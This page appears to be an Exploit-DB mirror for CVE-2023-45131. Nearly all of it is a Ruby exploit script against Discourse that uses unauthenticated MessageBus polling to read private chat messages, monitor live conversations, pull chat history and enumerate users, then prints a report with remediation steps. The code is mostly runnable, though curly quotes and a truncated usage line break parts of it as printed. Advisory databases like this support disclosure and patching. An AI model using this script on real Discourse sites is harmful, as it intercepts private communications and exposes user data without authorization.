Discourse 3.1.1 – Unauthenticated Chat Message Access

Exploit Details

Basic Information

Exploit Title Discourse 3.1.1 – Unauthenticated Chat Message Access
Exploit ID EDB-ID:52375
Type exploitdb
Published 2025-07-22T00:00:00
Modified 2025-07-22T00:00:00

CVSS Information

CVSS Score 7.5
Severity HIGH
Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

CVE Information

  • CVE-2023-45131

Exploit Description

!/usr/bin/env ruby Title : Discourse 3.1.1…

Exploit Code

#!/usr/bin/env ruby

# Title : Discourse 3.1.1 – Unauthenticated Chat Message Access

# CVE-2023-45131

# CVSS: 7.5 (High)

# Affected: Discourse < 3.1.1 stable, < 3.2.0.beta2
# Author ibrahimsql @ https://twitter.com/ibrahmsql

# Date: 2023-12-14

require ‘net/http’

require ‘uri’

require ‘json’

require ‘openssl’

require ‘base64’

class CVE202345131

def initialize(target_url)

@target_url = target_url.chomp(‘/’)

@results = []

@message_bus_client_id = nil

@csrf_token = nil

end

def run_exploit

puts “\n[*] Testing CVE-2023-45131: Discourse Unauthenticated Chat Message Access”

puts “[*] Target: #{@target_url}”

puts “[*] CVSS Score: 7.5 (High)”

puts “[*] Affected: Discourse < 3.1.1 stable, < 3.2.0.beta2\n" # Test MessageBus access
test_messagebus_access

test_chat_channel_enumeration

test_private_message_access

test_real_time_monitoring

test_message_history_access

test_user_enumeration_via_chat

generate_report

@results

end

private

def test_messagebus_access

puts “[*] Testing MessageBus unauthenticated access…”

begin

# Get MessageBus client ID

uri = URI(“#{@target_url}/message-bus/poll”)

response = make_request(uri, ‘GET’)

if response && response.code == ‘200’

begin

data = JSON.parse(response.body)

if data.is_a?(Array) && !data.empty?

@message_bus_client_id = extract_client_id(response)

@results << {
vulnerability: “MessageBus Access”,

severity: “High”,

description: “Unauthenticated access to MessageBus endpoint confirmed”,

impact: “Can monitor real-time messages and notifications”,

client_id: @message_bus_client_id

}

puts “[+] MessageBus access confirmed – Client ID: #{@message_bus_client_id}”

return true

end

rescue JSON::ParserError

# Try alternative endpoints

test_alternative_messagebus_endpoints

end

end

rescue => e

puts “[!] Error testing MessageBus access: #{e.message}”

end

false

end

def test_alternative_messagebus_endpoints

puts “[*] Testing alternative MessageBus endpoints…”

endpoints = [

“/message-bus/poll”,

“/message-bus/subscribe”,

“/message-bus/diagnostics”,

“/message-bus/long-poll”

]

endpoints.each do |endpoint|

begin

uri = URI(“#{@target_url}#{endpoint}”)

response = make_request(uri, ‘GET’)

if response && response.code == ‘200’

if response.body.include?(‘message-bus’) || response.body.include?(‘clientId’)

@results << {
vulnerability: “Alternative MessageBus Endpoint”,

severity: “Medium”,

endpoint: endpoint,

description: “Alternative MessageBus endpoint accessible”,

impact: “Potential message monitoring capability”

}

puts “[+] Alternative endpoint accessible: #{endpoint}”

end

end

rescue => e

puts “[!] Error testing endpoint #{endpoint}: #{e.message}”

end

end

end

def test_chat_channel_enumeration

puts “[*] Testing chat channel enumeration…”

return unless @message_bus_client_id

begin

# Try to enumerate chat channels

uri = URI(“#{@target_url}/message-bus/poll”)

# Subscribe to chat channels

data = {

‘/chat/new-messages’ => -1,

‘/chat/channel-status’ => -1,

‘/chat/user-tracking’ => -1,

‘clientId’ => @message_bus_client_id

}

response = make_request(uri, ‘POST’, data)

if response && response.code == ‘200’

begin

messages = JSON.parse(response.body)

if messages.is_a?(Array) && !messages.empty?

chat_channels = extract_chat_channels(messages)

if !chat_channels.empty?

@results << {
vulnerability: “Chat Channel Enumeration”,

severity: “High”,

channels: chat_channels,

description: “Enumerated accessible chat channels”,

impact: “Can identify active chat channels and participants”

}

puts “[+] Chat channels enumerated: #{chat_channels.join(‘, ‘)}”

end

end

rescue JSON::ParserError => e

puts “[!] Error parsing chat channel response: #{e.message}”

end

end

rescue => e

puts “[!] Error enumerating chat channels: #{e.message}”

end

end

def test_private_message_access

puts “[*] Testing private message access…”

return unless @message_bus_client_id

begin

# Try to access private messages

uri = URI(“#{@target_url}/message-bus/poll”)

# Subscribe to private message channels

data = {

‘/private-messages’ => -1,

‘/chat/private’ => -1,

‘/notification’ => -1,

‘clientId’ => @message_bus_client_id

}

response = make_request(uri, ‘POST’, data)

if response && response.code == ‘200’

begin

messages = JSON.parse(response.body)

if messages.is_a?(Array)

private_messages = extract_private_messages(messages)

if !private_messages.empty?

@results << {
vulnerability: “Private Message Access”,

severity: “Critical”,

messages: private_messages,

description: “Accessed private chat messages without authentication”,

impact: “Complete breach of private communication confidentiality”

}

puts “[+] Private messages accessed: #{private_messages.length} messages found”

# Log sample messages (redacted)

private_messages.first(3).each_with_index do |msg, idx|

puts ” [#{idx + 1}] #{redact_message(msg)}”

end

end

end

rescue JSON::ParserError => e

puts “[!] Error parsing private message response: #{e.message}”

end

end

rescue => e

puts “[!] Error accessing private messages: #{e.message}”

end

end

def test_real_time_monitoring

puts “[*] Testing real-time message monitoring…”

return unless @message_bus_client_id

begin

puts “[*] Monitoring for 10 seconds…”

start_time = Time.now

monitored_messages = []

while (Time.now – start_time) < 10
uri = URI(“#{@target_url}/message-bus/poll”)

data = {

‘/chat/new-messages’ => 0,

‘clientId’ => @message_bus_client_id

}

response = make_request(uri, ‘POST’, data)

if response && response.code == ‘200’

begin

messages = JSON.parse(response.body)

if messages.is_a?(Array) && !messages.empty?

new_messages = extract_new_messages(messages)

monitored_messages.concat(new_messages)

end

rescue JSON::ParserError

# Continue monitoring

end

end

sleep(1)

end

if !monitored_messages.empty?

@results << {
vulnerability: “Real-time Message Monitoring”,

severity: “High”,

messages_count: monitored_messages.length,

description: “Successfully monitored real-time chat messages”,

impact: “Can intercept live communications”

}

puts “[+] Real-time monitoring successful: #{monitored_messages.length} messages intercepted”

else

puts “[-] No real-time messages detected during monitoring period”

end

rescue => e

puts “[!] Error during real-time monitoring: #{e.message}”

end

end

def test_message_history_access

puts “[*] Testing message history access…”

begin

# Try to access message history through various endpoints

history_endpoints = [

“/chat/api/channels”,

“/chat/api/messages”,

“/chat/history”,

“/api/chat/channels.json”

]

history_endpoints.each do |endpoint|

uri = URI(“#{@target_url}#{endpoint}”)

response = make_request(uri, ‘GET’)

if response && response.code == ‘200’

begin

data = JSON.parse(response.body)

if data.is_a?(Hash) && (data[‘messages’] || data[‘channels’] || data[‘chat’])

@results << {
vulnerability: “Message History Access”,

severity: “High”,

endpoint: endpoint,

description: “Accessed chat message history without authentication”,

impact: “Historical chat data exposure”

}

puts “[+] Message history accessible via: #{endpoint}”

end

rescue JSON::ParserError

# Check for HTML responses that might contain chat data

if response.body.include?(‘chat’) && response.body.include?(‘message’)

@results << {
vulnerability: “Message History Exposure”,

severity: “Medium”,

endpoint: endpoint,

description: “Chat-related content found in response”,

impact: “Potential information disclosure”

}

puts “[+] Chat-related content found in: #{endpoint}”

end

end

end

end

rescue => e

puts “[!] Error testing message history access: #{e.message}”

end

end

def test_user_enumeration_via_chat

puts “[*] Testing user enumeration via chat features…”

begin

# Try to enumerate users through chat-related endpoints

user_endpoints = [

“/chat/api/users”,

“/chat/users.json”,

“/api/chat/users”,

“/chat/members”

]

user_endpoints.each do |endpoint|

uri = URI(“#{@target_url}#{endpoint}”)

response = make_request(uri, ‘GET’)

if response && response.code == ‘200’

begin

data = JSON.parse(response.body)

if data.is_a?(Hash) && (data[‘users’] || data[‘members’])

users = extract_users_from_chat(data)

if !users.empty?

@results << {
vulnerability: “User Enumeration via Chat”,

severity: “Medium”,

endpoint: endpoint,

users_count: users.length,

sample_users: users.first(5),

description: “Enumerated chat users without authentication”,

impact: “User information disclosure”

}

puts “[+] Users enumerated via #{endpoint}: #{users.length} users found”

end

end

rescue JSON::ParserError

# Continue with next endpoint

end

end

end

rescue => e

puts “[!] Error testing user enumeration: #{e.message}”

end

end

def extract_client_id(response)

# Extract client ID from response headers or body

if response[‘X-MessageBus-Client-Id’]

return response[‘X-MessageBus-Client-Id’]

end

# Try to extract from response body

begin

data = JSON.parse(response.body)

if data.is_a?(Hash) && data[‘clientId’]

return data[‘clientId’]

end

rescue JSON::ParserError

end

# Generate a random client ID

SecureRandom.hex(16)

end

def extract_chat_channels(messages)

channels = []

messages.each do |message|

if message.is_a?(Hash)

if message[‘channel’] && message[‘channel’].include?(‘/chat/’)

channels << message['channel']
elsif message[‘data’] && message[‘data’].is_a?(Hash)

if message[‘data’][‘channel_id’]

channels << "Channel #{message['data']['channel_id']}"
end

end

end

end

channels.uniq

end

def extract_private_messages(messages)

private_msgs = []

messages.each do |message|

if message.is_a?(Hash)

if message[‘channel’] && (message[‘channel’].include?(‘/private’) || message[‘channel’].include?(‘/chat/private’))

private_msgs << {
channel: message[‘channel’],

data: message[‘data’],

timestamp: message[‘timestamp’] || Time.now.to_i

}

elsif message[‘data’] && message[‘data’].is_a?(Hash)

if message[‘data’][‘message’] || message[‘data’][‘content’]

private_msgs << {
content: message[‘data’][‘message’] || message[‘data’][‘content’],

user: message[‘data’][‘user’] || message[‘data’][‘username’],

timestamp: message[‘data’][‘timestamp’] || Time.now.to_i

}

end

end

end

end

private_msgs

end

def extract_new_messages(messages)

new_msgs = []

messages.each do |message|

if message.is_a?(Hash) && message[‘data’]

new_msgs << {
channel: message[‘channel’],

data: message[‘data’],

timestamp: Time.now.to_i

}

end

end

new_msgs

end

def extract_users_from_chat(data)

users = []

if data[‘users’] && data[‘users’].is_a?(Array)

data[‘users’].each do |user|

if user.is_a?(Hash)

users << {
username: user[‘username’],

id: user[‘id’],

name: user[‘name’]

}

end

end

elsif data[‘members’] && data[‘members’].is_a?(Array)

data[‘members’].each do |member|

if member.is_a?(Hash)

users << {
username: member[‘username’] || member[‘user’],

id: member[‘id’] || member[‘user_id’]

}

end

end

end

users

end

def redact_message(message)

if message.is_a?(Hash)

content = message[:content] || message[‘content’] || message[:data] || ‘N/A’

user = message[:user] || message[‘user’] || ‘Unknown’

“User: #{user}, Content: #{content.to_s[0..50]}…”

else

message.to_s[0..50] + “…”

end

end

def make_request(uri, method = ‘GET’, data = nil, headers = {})

begin

http = Net::HTTP.new(uri.host, uri.port)

http.use_ssl = (uri.scheme == ‘https’)

http.verify_mode = OpenSSL::SSL::VERIFY_NONE if http.use_ssl?

http.read_timeout = 10

http.open_timeout = 10

request = case method.upcase

when ‘GET’

Net::HTTP::Get.new(uri.request_uri)

when ‘POST’

req = Net::HTTP::Post.new(uri.request_uri)

if data

if data.is_a?(Hash)

req.set_form_data(data)

else

req.body = data

req[‘Content-Type’] = ‘application/json’

end

end

req

end

# Set headers

request[‘User-Agent’] = ‘Mozilla/5.0 (compatible; DiscourseMap/2.0)’

request[‘Accept’] = ‘application/json, text/javascript, */*; q=0.01’

request[‘X-Requested-With’] = ‘XMLHttpRequest’

headers.each { |key, value| request[key] = value }

response = http.request(request)

return response

rescue => e

puts “[!] Request failed: #{e.message}”

return nil

end

end

def generate_report

puts “\n” + “=”*60

puts “CVE-2023-45131 Exploitation Report”

puts “=”*60

puts “Target: #{@target_url}”

puts “Vulnerabilities Found: #{@results.length}”

if @results.empty?

puts “[+] No chat message access vulnerabilities detected”

else

puts “\n[!] VULNERABILITIES DETECTED:”

@results.each_with_index do |result, index|

puts “\n#{index + 1}. #{result[:vulnerability]}”

puts ” Severity: #{result[:severity]}”

puts ” Description: #{result[:description]}”

puts ” Impact: #{result[:impact]}”

if result[:messages_count]

puts ” Messages Found: #{result[:messages_count]}”

end

if result[:channels]

puts ” Channels: #{result[:channels].join(‘, ‘)}”

end

if result[:endpoint]

puts ” Endpoint: #{result[:endpoint]}”

end

end

puts “\n[!] REMEDIATION:”

puts “1. Update Discourse to version 3.1.1 stable or 3.2.0.beta2 or later”

puts “2. Implement proper authentication for MessageBus endpoints”

puts “3. Review and restrict access to chat-related APIs”

puts “4. Monitor MessageBus access logs for suspicious activity”

puts “5. Consider disabling chat features if not required”

end

puts “\n” + “=”*60

end

end

# Run the exploit if called directly

if __FILE__ == $0

if ARGV.length != 1

puts “Usage: ruby #{$0}

puts “Example: ruby #{$0} https://discourse.example.com”

exit 1

end

target_url = ARGV[0]

exploit = CVE202345131.new(target_url)

exploit.run_exploit

end

View Full Exploit Details

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.